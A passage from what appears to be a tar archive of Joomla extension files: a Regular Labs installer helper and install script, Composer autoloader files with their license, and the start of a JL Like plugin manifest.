	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin':
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $this->installed_version)
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($this->installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $this->installed_version)
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($this->installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if ( ! is_string($file) || ! is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			['FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'],
			['FREE', 'PRO', 'FREE', 'PRO'],
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
	}

	public function onAfterInstall($route)
	{
	}

	public function delete($files = [])
	{
		foreach ($files as $file)
		{
			if (is_dir($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('rules'))
			->from('#__assets')
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname));
		$this->db->setQuery($query, 0, 1);
		$rules = $this->db->loadResult();

		$rules = json_decode($rules);

		if(empty($rules)) {
			return;
		}

		foreach($rules as $key => $value) {
			if(!empty($value)) {
				continue;
			}

			unset($rules->$key);
		}

		$rules = json_encode($rules);


		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function fixExtensionNames()
	{
		switch ($this->extension_type)
		{
			case 'module' :
				$this->fixModuleNames();
		}
	}

	private function fixModuleNames()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$module_id = $this->db->loadResult();

		if (empty($module_id))
		{
			return;
		}

		$title = 'Regular Labs - ' . JText::_($this->name);

		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $module_id)
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query);
		$this->db->execute();

		// Fix module assets

		// Get asset id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__assets')
			->where($this->db->quoteName('name') . ' = ' . $this->db->quote('com_modules.module.' . (int) $module_id))
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query, 0, 1);
		$asset_id = $this->db->loadResult();

		if (empty($asset_id))
		{
			return;
		}

		$query->clear()
			->update('#__assets')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $asset_id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateHttptoHttpsInUpdateSites();
		$this->removeDuplicateUpdateSite();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' = REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeDuplicateUpdateSite()
	{
		// First check to see if there is a pro entry

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('location') . ' NOT LIKE ' . $this->db->quote('%pro=1%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		// Otherwise just get the first match
		if ( ! $id)
		{
			$query->clear()
				->select($this->db->quoteName('update_site_id'))
				->from('#__update_sites')
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
			$this->db->setQuery($query, 0, 1);
			$id = $this->db->loadResult();

			// Remove pro=1 from the found update site
			$query->clear()
				->update('#__update_sites')
				->set($this->db->quoteName('location')
					. ' = replace(' . $this->db->quoteName('location') . ', ' . $this->db->quote('&pro=1') . ', ' . $this->db->quote('') . ')')
				->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
			$this->db->setQuery($query);
			$this->db->execute();
		}

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('update_site_id') . ' != ' . $id);
		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('com_regularlabsmanager'));
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if ( ! $params)
		{
			return;
		}

		$params = json_decode($params);

		if ( ! isset($params->key))
		{
			return;
		}

		// Add the key on all regularlabs.com urls
		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
		$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = [];

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      system/regularlabs/script.install.php                                                               0000705                 00000002106 15242051521 0014047 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

if ( ! class_exists('PlgSystemRegularLabsInstallerScript'))
{
	require_once __DIR__ . '/script.install.helper.php';

	class PlgSystemRegularLabsInstallerScript extends PlgSystemRegularLabsInstallerScriptHelper
	{
		public $name           = 'REGULAR_LABS_LIBRARY';
		public $alias          = 'regularlabs';
		public $extension_type = 'plugin';
		public $show_message   = false;

		public function onBeforeInstall($route)
		{
			if ( ! $this->isNewer())
			{
				$this->softbreak = true;

				return false;
			}

			return true;
		}

		public function uninstall($adapter)
		{
			$this->deleteLibrary();
		}

		private function deleteLibrary()
		{
			$this->delete(
				[
					JPATH_LIBRARIES . '/regularlabs',
				]
			);
		}
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                          system/regularlabs/vendor/autoload.php                                                              0000705                 00000000262 15242051521 0014204 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit024eacf405310863b3206effceefe496::getLoader();
                                                                                                                                                                                                                                                                                                                                              system/regularlabs/vendor/composer/autoload_classmap.php                                            0000705                 00000000220 15242051521 0017710 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir   = dirname($vendorDir);

return [
];
                                                                                                                                                                                                                                                                                                                                                                                system/regularlabs/vendor/composer/autoload_real.php                                                0000705                 00000002761 15242051521 0017044 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit024eacf405310863b3206effceefe496
{
	private static $loader;

	public static function loadClassLoader($class)
	{
		if ('Composer\Autoload\ClassLoader' === $class)
		{
			require __DIR__ . '/ClassLoader.php';
		}
	}

	public static function getLoader()
	{
		if (null !== self::$loader)
		{
			return self::$loader;
		}

		spl_autoload_register(['ComposerAutoloaderInit024eacf405310863b3206effceefe496', 'loadClassLoader'], true, true);
		self::$loader = $loader = new \Composer\Autoload\ClassLoader;
		spl_autoload_unregister(['ComposerAutoloaderInit024eacf405310863b3206effceefe496', 'loadClassLoader']);

		$useStaticLoader = PHP_VERSION_ID >= 50600 && ! defined('HHVM_VERSION') && ( ! function_exists('zend_loader_file_encoded') || ! zend_loader_file_encoded());
		if ($useStaticLoader)
		{
			require_once __DIR__ . '/autoload_static.php';

			call_user_func(\Composer\Autoload\ComposerStaticInit024eacf405310863b3206effceefe496::getInitializer($loader));
		}
		else
		{
			$map = require __DIR__ . '/autoload_namespaces.php';
			foreach ($map as $namespace => $path)
			{
				$loader->set($namespace, $path);
			}

			$map = require __DIR__ . '/autoload_psr4.php';
			foreach ($map as $namespace => $path)
			{
				$loader->setPsr4($namespace, $path);
			}

			$classMap = require __DIR__ . '/autoload_classmap.php';
			if ($classMap)
			{
				$loader->addClassMap($classMap);
			}
		}

		$loader->register(true);

		return $loader;
	}
}
               system/regularlabs/vendor/composer/LICENSE                                                          0000705                 00000002056 15242051521 0014522 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/regularlabs/vendor/composer/autoload_psr4.php                                                0000705                 00000000322 15242051521 0017000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir   = dirname($vendorDir);

return [
	'RegularLabs\\Plugin\\System\\RegularLabs\\' => [$baseDir . '/src'],
];
                                                                                                                                                                                                                                                                                                              system/regularlabs/vendor/composer/installed.json                                                   0000705                 00000000003 15242051521 0016355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       []
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/regularlabs/vendor/composer/autoload_static.php                                              0000705                 00000001366 15242051521 0017410 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit024eacf405310863b3206effceefe496
{
	public static $prefixLengthsPsr4 = [
		'R' =>
			[
				'RegularLabs\\Plugin\\System\\RegularLabs\\' => 38,
			],
	];

	public static $prefixDirsPsr4 = [
		'RegularLabs\\Plugin\\System\\RegularLabs\\' =>
			[
				0 => __DIR__ . '/../..' . '/src',
			],
	];

	public static function getInitializer(ClassLoader $loader)
	{
		return \Closure::bind(function () use ($loader) {
			$loader->prefixLengthsPsr4 = ComposerStaticInit024eacf405310863b3206effceefe496::$prefixLengthsPsr4;
			$loader->prefixDirsPsr4    = ComposerStaticInit024eacf405310863b3206effceefe496::$prefixDirsPsr4;
		}, null, ClassLoader::class);
	}
}
                                                                                                                                                                                                                                                                          system/regularlabs/vendor/composer/ClassLoader.php                                                  0000705                 00000026317 15242051521 0016430 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    http://www.php-fig.org/psr/psr-0/
 * @see    http://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
	// PSR-4
	private $prefixLengthsPsr4 = [];
	private $prefixDirsPsr4    = [];
	private $fallbackDirsPsr4  = [];

	// PSR-0
	private $prefixesPsr0     = [];
	private $fallbackDirsPsr0 = [];

	private $useIncludePath        = false;
	private $classMap              = [];
	private $classMapAuthoritative = false;
	private $missingClasses        = [];
	private $apcuPrefix;

	public function getPrefixes()
	{
		if ( ! empty($this->prefixesPsr0))
		{
			return call_user_func_array('array_merge', $this->prefixesPsr0);
		}

		return [];
	}

	public function getPrefixesPsr4()
	{
		return $this->prefixDirsPsr4;
	}

	public function getFallbackDirs()
	{
		return $this->fallbackDirsPsr0;
	}

	public function getFallbackDirsPsr4()
	{
		return $this->fallbackDirsPsr4;
	}

	public function getClassMap()
	{
		return $this->classMap;
	}

	/**
	 * @param array $classMap Class to filename map
	 */
	public function addClassMap(array $classMap)
	{
		if ($this->classMap)
		{
			$this->classMap = array_merge($this->classMap, $classMap);
		}
		else
		{
			$this->classMap = $classMap;
		}
	}

	/**
	 * Registers a set of PSR-0 directories for a given prefix, either
	 * appending or prepending to the ones previously set for this prefix.
	 *
	 * @param string       $prefix  The prefix
	 * @param array|string $paths   The PSR-0 root directories
	 * @param bool         $prepend Whether to prepend the directories
	 */
	public function add($prefix, $paths, $prepend = false)
	{
		if ( ! $prefix)
		{
			if ($prepend)
			{
				$this->fallbackDirsPsr0 = array_merge(
					(array) $paths,
					$this->fallbackDirsPsr0
				);
			}
			else
			{
				$this->fallbackDirsPsr0 = array_merge(
					$this->fallbackDirsPsr0,
					(array) $paths
				);
			}

			return;
		}

		$first = $prefix[0];
		if ( ! isset($this->prefixesPsr0[$first][$prefix]))
		{
			$this->prefixesPsr0[$first][$prefix] = (array) $paths;

			return;
		}
		if ($prepend)
		{
			$this->prefixesPsr0[$first][$prefix] = array_merge(
				(array) $paths,
				$this->prefixesPsr0[$first][$prefix]
			);
		}
		else
		{
			$this->prefixesPsr0[$first][$prefix] = array_merge(
				$this->prefixesPsr0[$first][$prefix],
				(array) $paths
			);
		}
	}

	/**
	 * Registers a set of PSR-4 directories for a given namespace, either
	 * appending or prepending to the ones previously set for this namespace.
	 *
	 * @param string       $prefix  The prefix/namespace, with trailing '\\'
	 * @param array|string $paths   The PSR-4 base directories
	 * @param bool         $prepend Whether to prepend the directories
	 *
	 * @throws \InvalidArgumentException
	 */
	public function addPsr4($prefix, $paths, $prepend = false)
	{
		if ( ! $prefix)
		{
			// Register directories for the root namespace.
			if ($prepend)
			{
				$this->fallbackDirsPsr4 = array_merge(
					(array) $paths,
					$this->fallbackDirsPsr4
				);
			}
			else
			{
				$this->fallbackDirsPsr4 = array_merge(
					$this->fallbackDirsPsr4,
					(array) $paths
				);
			}
		}
		elseif ( ! isset($this->prefixDirsPsr4[$prefix]))
		{
			// Register directories for a new namespace.
			$length = strlen($prefix);
			if ('\\' !== $prefix[$length - 1])
			{
				throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
			}
			$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
			$this->prefixDirsPsr4[$prefix]                = (array) $paths;
		}
		elseif ($prepend)
		{
			// Prepend directories for an already registered namespace.
			$this->prefixDirsPsr4[$prefix] = array_merge(
				(array) $paths,
				$this->prefixDirsPsr4[$prefix]
			);
		}
		else
		{
			// Append directories for an already registered namespace.
			$this->prefixDirsPsr4[$prefix] = array_merge(
				$this->prefixDirsPsr4[$prefix],
				(array) $paths
			);
		}
	}

	/**
	 * Registers a set of PSR-0 directories for a given prefix,
	 * replacing any others previously set for this prefix.
	 *
	 * @param string       $prefix The prefix
	 * @param array|string $paths  The PSR-0 base directories
	 */
	public function set($prefix, $paths)
	{
		if ( ! $prefix)
		{
			$this->fallbackDirsPsr0 = (array) $paths;
		}
		else
		{
			$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
		}
	}

	/**
	 * Registers a set of PSR-4 directories for a given namespace,
	 * replacing any others previously set for this namespace.
	 *
	 * @param string       $prefix The prefix/namespace, with trailing '\\'
	 * @param array|string $paths  The PSR-4 base directories
	 *
	 * @throws \InvalidArgumentException
	 */
	public function setPsr4($prefix, $paths)
	{
		if ( ! $prefix)
		{
			$this->fallbackDirsPsr4 = (array) $paths;
		}
		else
		{
			$length = strlen($prefix);
			if ('\\' !== $prefix[$length - 1])
			{
				throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
			}
			$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
			$this->prefixDirsPsr4[$prefix]                = (array) $paths;
		}
	}

	/**
	 * Turns on searching the include path for class files.
	 *
	 * @param bool $useIncludePath
	 */
	public function setUseIncludePath($useIncludePath)
	{
		$this->useIncludePath = $useIncludePath;
	}

	/**
	 * Can be used to check if the autoloader uses the include path to check
	 * for classes.
	 *
	 * @return bool
	 */
	public function getUseIncludePath()
	{
		return $this->useIncludePath;
	}

	/**
	 * Turns off searching the prefix and fallback directories for classes
	 * that have not been registered with the class map.
	 *
	 * @param bool $classMapAuthoritative
	 */
	public function setClassMapAuthoritative($classMapAuthoritative)
	{
		$this->classMapAuthoritative = $classMapAuthoritative;
	}

	/**
	 * Should class lookup fail if not found in the current class map?
	 *
	 * @return bool
	 */
	public function isClassMapAuthoritative()
	{
		return $this->classMapAuthoritative;
	}

	/**
	 * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
	 *
	 * @param string|null $apcuPrefix
	 */
	public function setApcuPrefix($apcuPrefix)
	{
		$this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null;
	}

	/**
	 * The APCu prefix in use, or null if APCu caching is not enabled.
	 *
	 * @return string|null
	 */
	public function getApcuPrefix()
	{
		return $this->apcuPrefix;
	}

	/**
	 * Registers this instance as an autoloader.
	 *
	 * @param bool $prepend Whether to prepend the autoloader or not
	 */
	public function register($prepend = false)
	{
		spl_autoload_register([$this, 'loadClass'], true, $prepend);
	}

	/**
	 * Unregisters this instance as an autoloader.
	 */
	public function unregister()
	{
		spl_autoload_unregister([$this, 'loadClass']);
	}

	/**
	 * Loads the given class or interface.
	 *
	 * @param  string $class The name of the class
	 *
	 * @return bool|null True if loaded, null otherwise
	 */
	public function loadClass($class)
	{
		if ($file = $this->findFile($class))
		{
			includeFile($file);

			return true;
		}
	}

	/**
	 * Finds the path to the file where the class is defined.
	 *
	 * @param string $class The name of the class
	 *
	 * @return string|false The path if found, false otherwise
	 */
	public function findFile($class)
	{
		// class map lookup
		if (isset($this->classMap[$class]))
		{
			return $this->classMap[$class];
		}
		if ($this->classMapAuthoritative || isset($this->missingClasses[$class]))
		{
			return false;
		}
		if (null !== $this->apcuPrefix)
		{
			$file = apcu_fetch($this->apcuPrefix . $class, $hit);
			if ($hit)
			{
				return $file;
			}
		}

		$file = $this->findFileWithExtension($class, '.php');

		// Search for Hack files if we are running on HHVM
		if (false === $file && defined('HHVM_VERSION'))
		{
			$file = $this->findFileWithExtension($class, '.hh');
		}

		if (null !== $this->apcuPrefix)
		{
			apcu_add($this->apcuPrefix . $class, $file);
		}

		if (false === $file)
		{
			// Remember that this class does not exist.
			$this->missingClasses[$class] = true;
		}

		return $file;
	}

	private function findFileWithExtension($class, $ext)
	{
		// PSR-4 lookup
		$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

		$first = $class[0];
		if (isset($this->prefixLengthsPsr4[$first]))
		{
			$subPath = $class;
			while (false !== $lastPos = strrpos($subPath, '\\'))
			{
				$subPath = substr($subPath, 0, $lastPos);
				$search  = $subPath . '\\';
				if (isset($this->prefixDirsPsr4[$search]))
				{
					foreach ($this->prefixDirsPsr4[$search] as $dir)
					{
						$length = $this->prefixLengthsPsr4[$first][$search];
						if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length)))
						{
							return $file;
						}
					}
				}
			}
		}

		// PSR-4 fallback dirs
		foreach ($this->fallbackDirsPsr4 as $dir)
		{
			if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4))
			{
				return $file;
			}
		}

		// PSR-0 lookup
		if (false !== $pos = strrpos($class, '\\'))
		{
			// namespaced class name
			$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
				. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
		}
		else
		{
			// PEAR-like class name
			$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
		}

		if (isset($this->prefixesPsr0[$first]))
		{
			foreach ($this->prefixesPsr0[$first] as $prefix => $dirs)
			{
				if (0 === strpos($class, $prefix))
				{
					foreach ($dirs as $dir)
					{
						if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0))
						{
							return $file;
						}
					}
				}
			}
		}

		// PSR-0 fallback dirs
		foreach ($this->fallbackDirsPsr0 as $dir)
		{
			if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0))
			{
				return $file;
			}
		}

		// PSR-0 include paths.
		if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0))
		{
			return $file;
		}

		return false;
	}
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
	include $file;
}
                                                                                                                                                                                                                                                                                                                 system/regularlabs/vendor/composer/autoload_namespaces.php                                          0000705                 00000000222 15242051521 0020226 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir   = dirname($vendorDir);

return [
];
                                                                                                                                                                                                                                                                                                                                                                              adsmanagercontent/jllikeads/index.html                                                              0000705                 00000000040 15242051521 0014165 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html>
<body>
</body>
</html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                adsmanagercontent/jllikeads/jllikeads.xml                                                           0000705                 00000002536 15242051521 0014670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.5.0" type="plugin" group="adsmanagercontent" method="upgrade">
	<name>JL Like for ADSManager</name>
	<author>JoomLine</author>
	<creationDate>11.02.2020</creationDate>
	<copyright>(C) 2012-2019 by Artem Zhukov, Arkadiy Sedelnikov and Vadim Kunicin(http://www.joomline.ru)</copyright>
	<license>GNU/GPL: http://www.gnu.org/copyleft/gpl.html</license>
	<authorEmail>sale@joomline.ru</authorEmail>
	<authorUrl>http://joomline.ru</authorUrl>
	<version>4.0.4</version>
	<url>http://joomline.ru</url>
	<description>Plugin allow integrate social buttons like into your ADS manager components</description>
	<files>
		<filename plugin="jllikeads">jllikeads.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
